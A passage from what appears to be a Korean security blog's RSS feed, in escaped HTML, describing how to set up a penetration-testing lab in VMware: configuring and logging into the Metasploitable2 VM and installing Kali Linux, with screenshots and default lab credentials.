&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1479&quot; data-origin-height=&quot;833&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfC8ou/btsJfbdIHx6/3Rqo8P6gJ8BHYkVLTaJ2j1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfC8ou/btsJfbdIHx6/3Rqo8P6gJ8BHYkVLTaJ2j1/img.png&quot; data-alt=&quot;그림3 - Metasploitable2 환경 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfC8ou/btsJfbdIHx6/3Rqo8P6gJ8BHYkVLTaJ2j1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfC8ou%2FbtsJfbdIHx6%2F3Rqo8P6gJ8BHYkVLTaJ2j1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1479&quot; height=&quot;833&quot; data-origin-width=&quot;1479&quot; data-origin-height=&quot;833&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - Metasploitable2 환경 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;위의 그림 3의 설정은 기본 설정으로, 위 설정으로 그대로 사용한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Memory: 가상환경에서 사용하는 RAM Memory 용량&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Processors: 가상환경에서 사용하는 CPU 코어 개수&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Network 방식에 대한 설명은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://developerin.tistory.com/18&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;833&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjSqPr/btsJggLVaAp/xU8YALKmTBOkcxXyZj61UK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjSqPr/btsJggLVaAp/xU8YALKmTBOkcxXyZj61UK/img.png&quot; data-alt=&quot;그림5 - Metasploitable2 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjSqPr/btsJggLVaAp/xU8YALKmTBOkcxXyZj61UK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjSqPr%2FbtsJggLVaAp%2FxU8YALKmTBOkcxXyZj61UK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1462&quot; height=&quot;833&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;833&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - Metasploitable2 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림6 에서 I copied 클릭하여 다음으로 이동한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1477&quot; data-origin-height=&quot;827&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AKzbp/btsJgRSf7Gj/cONQPD9JBQdjcpFpIA0ZH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AKzbp/btsJgRSf7Gj/cONQPD9JBQdjcpFpIA0ZH1/img.png&quot; data-alt=&quot;그림6 - Metasploitable2 실행2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AKzbp/btsJgRSf7Gj/cONQPD9JBQdjcpFpIA0ZH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAKzbp%2FbtsJgRSf7Gj%2FcONQPD9JBQdjcpFpIA0ZH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1477&quot; height=&quot;827&quot; data-origin-width=&quot;1477&quot; data-origin-height=&quot;827&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - Metasploitable2 실행2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림7을 보면&amp;nbsp; ID와PW 모두 msfadmin을 입력하여 접속할 수 있다고 나와있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;msfadmin을 입력하여 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마우스 커서를 호스트PC로 다시 꺼내고 싶으면 ctrl + alt를 누르면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;609&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIWAC0/btsJgGKe6Ve/c0Sz6Kv5zjhymGkgpFCOIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIWAC0/btsJgGKe6Ve/c0Sz6Kv5zjhymGkgpFCOIK/img.png&quot; data-alt=&quot;그림7 - Metasploitable2 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIWAC0/btsJgGKe6Ve/c0Sz6Kv5zjhymGkgpFCOIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIWAC0%2FbtsJgGKe6Ve%2Fc0Sz6Kv5zjhymGkgpFCOIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;609&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;609&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - Metasploitable2 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인에 성공하면 그림8과 같은 화면이 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZuTXi/btsJg6PmHDe/ZZmUtrnQ2EM8fTSGQCZcK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZuTXi/btsJg6PmHDe/ZZmUtrnQ2EM8fTSGQCZcK0/img.png&quot; data-alt=&quot;그림8 - Metasploitable2 로그인 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZuTXi/btsJg6PmHDe/ZZmUtrnQ2EM8fTSGQCZcK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZuTXi%2FbtsJg6PmHDe%2FZZmUtrnQ2EM8fTSGQCZcK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;925&quot; height=&quot;512&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - Metasploitable2 로그인 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ifconfig 명령어를 입력하여 IP주소 및 네트워크 구성 정보를 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 환경 설정을 NAT로 설정하였으므로, 사설 IP대역인 192.168.0.0/16 대역으로 설정된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mb3Yg/btsJgIgSplN/g0kpXHeVtsDaSt59Dpa6bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mb3Yg/btsJgIgSplN/g0kpXHeVtsDaSt59Dpa6bK/img.png&quot; data-alt=&quot;그림9 - ifconfig로 IP주소 및 네트워크 정보 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mb3Yg/btsJgIgSplN/g0kpXHeVtsDaSt59Dpa6bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmb3Yg%2FbtsJgIgSplN%2Fg0kpXHeVtsDaSt59Dpa6bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;925&quot; height=&quot;512&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - ifconfig로 IP주소 및 네트워크 정보 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스트 PC의 브라우저에서 192.168.197.139에 접속하면 Metasploitable2 웹 콘솔로 접속이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yXMP7/btsJfAdaQvA/MKWOFRAkxj8tvEYpVl5VS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yXMP7/btsJfAdaQvA/MKWOFRAkxj8tvEYpVl5VS0/img.png&quot; data-alt=&quot;그림10 - Metasploitable2 웹 콘솔&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yXMP7/btsJfAdaQvA/MKWOFRAkxj8tvEYpVl5VS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyXMP7%2FbtsJfAdaQvA%2FMKWOFRAkxj8tvEYpVl5VS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;492&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - Metasploitable2 웹 콘솔&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Metasploitable2에는 웹 및 시스템 취약점 관련 환경이 포함되어 있다.&lt;/p&gt;</description>
      <category>보안/환경 구축</category>
      <category>Metasploitable2</category>
      <category>msfv2</category>
      <category>메타스플로잇</category>
      <category>모의해킹</category>
      <category>환경 구축</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/188</guid>
      <comments>https://it-log.tistory.com/188#entry188comment</comments>
      <pubDate>Tue, 27 Aug 2024 01:00:34 +0900</pubDate>
    </item>
    <item>
      <title>칼리리눅스 설치하기</title>
      <link>https://it-log.tistory.com/187</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경 설명&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료&lt;/li&gt;
&lt;li&gt;공격자: 칼리리눅스 (2022년 3월 버전)&lt;/li&gt;
&lt;li&gt;희생자: msfv2, beebox, win7&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;칼리리눅스 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.kali.org/get-kali/#kali-virtual-machines&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1724598939082&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Get Kali | Kali Linux&quot; data-og-description=&quot;Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.&quot; data-og-host=&quot;www.kali.org&quot; data-og-source-url=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot; data-og-url=&quot;https://www.kali.org/get-kali/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Get Kali | Kali Linux&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.kali.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 URL 에서 VM용 칼리리눅스 다운로드를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;D 드라이브에 파일을 다운로드 후 압축 해제를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반디집을 사용하여 압축 해제 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리리눅스 설치 경로: D:\kali-linux-2022.3-vmware-amd64\kali-linux-2022.3-vmware-amd64.vmwarevm&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3JJjZ/btsJebEETWq/pXz6iKmP8SsAitloTmvkJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3JJjZ/btsJebEETWq/pXz6iKmP8SsAitloTmvkJ1/img.png&quot; data-alt=&quot;그림1 - VMware Workstation Pro 파일 열기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3JJjZ/btsJebEETWq/pXz6iKmP8SsAitloTmvkJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3JJjZ%2FbtsJebEETWq%2FpXz6iKmP8SsAitloTmvkJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;764&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - VMware Workstation Pro 파일 열기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림1의 File - Open 을 클릭하여 D드라이브에서 칼리리눅스 압축해제 파일의 VMX 파일을 불러온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsXjhk/btsJekhnA0y/Kgp0XtjlGp2McLgSNIdZp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsXjhk/btsJekhnA0y/Kgp0XtjlGp2McLgSNIdZp0/img.png&quot; data-alt=&quot;그림2 - 칼리리눅스 vmx 파일 불러오기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsXjhk/btsJekhnA0y/Kgp0XtjlGp2McLgSNIdZp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsXjhk%2FbtsJekhnA0y%2FKgp0XtjlGp2McLgSNIdZp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;764&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 칼리리눅스 vmx 파일 불러오기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리리눅스를 불러온 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크, 가상환경 사용을 위한 용량 설정 등을 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VLuqP/btsJebq6Av3/gXKUiGzSSuLoK3Im0ldL40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VLuqP/btsJebq6Av3/gXKUiGzSSuLoK3Im0ldL40/img.png&quot; data-alt=&quot;그림3 - 칼리리눅스 환경 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VLuqP/btsJebq6Av3/gXKUiGzSSuLoK3Im0ldL40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVLuqP%2FbtsJebq6Av3%2FgXKUiGzSSuLoK3Im0ldL40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;762&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 칼리리눅스 환경 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 그림4의 환경 설정을 기본으로 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Memory: 가상환경에서 사용하는 RAM Memory 용량&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Processors: 가상환경에서 사용하는 CPU 코어 개수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Network 방식에 대한 설명은 &lt;a href=&quot;https://developerin.tistory.com/18&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;770&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b756fr/btsJgd8zxZ3/AIXxKdyWpdivjv6V5CVq7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b756fr/btsJgd8zxZ3/AIXxKdyWpdivjv6V5CVq7K/img.png&quot; data-alt=&quot;그림4 - 칼리리눅스 기본 환경설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b756fr/btsJgd8zxZ3/AIXxKdyWpdivjv6V5CVq7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb756fr%2FbtsJgd8zxZ3%2FAIXxKdyWpdivjv6V5CVq7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1116&quot; height=&quot;770&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;770&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 칼리리눅스 기본 환경설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Power on this virtual machine을 클릭하여 칼리리눅스를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1482&quot; data-origin-height=&quot;831&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H9dix/btsJemGgHxA/xJjPiKN0wmBAwZ6GeYCkE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H9dix/btsJemGgHxA/xJjPiKN0wmBAwZ6GeYCkE1/img.png&quot; data-alt=&quot;그림5 - 칼리리눅스 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H9dix/btsJemGgHxA/xJjPiKN0wmBAwZ6GeYCkE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH9dix%2FbtsJemGgHxA%2FxJjPiKN0wmBAwZ6GeYCkE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1482&quot; height=&quot;831&quot; data-origin-width=&quot;1482&quot; data-origin-height=&quot;831&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 칼리리눅스 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리리눅스 기본 ID와 PW는 kali 를 입력하여 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1481&quot; data-origin-height=&quot;831&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcXRpn/btsJfkHptyt/e5433Lz0tzVOBnfKesbUR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcXRpn/btsJfkHptyt/e5433Lz0tzVOBnfKesbUR1/img.png&quot; data-alt=&quot;그림6 - 칼리리눅스 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcXRpn/btsJfkHptyt/e5433Lz0tzVOBnfKesbUR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcXRpn%2FbtsJfkHptyt%2Fe5433Lz0tzVOBnfKesbUR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1481&quot; height=&quot;831&quot; data-origin-width=&quot;1481&quot; data-origin-height=&quot;831&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 칼리리눅스 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면 상단에 터미널 아이콘을 클릭하여 터미널을 연다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1483&quot; data-origin-height=&quot;833&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UJUC9/btsJgdndtdn/aapwoXkOHNcdQJJB0ZvEu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UJUC9/btsJgdndtdn/aapwoXkOHNcdQJJB0ZvEu0/img.png&quot; data-alt=&quot;그림7 - 칼리리눅스 터미널 열기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UJUC9/btsJgdndtdn/aapwoXkOHNcdQJJB0ZvEu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUJUC9%2FbtsJgdndtdn%2FaapwoXkOHNcdQJJB0ZvEu0%2Fimg.png&quot; 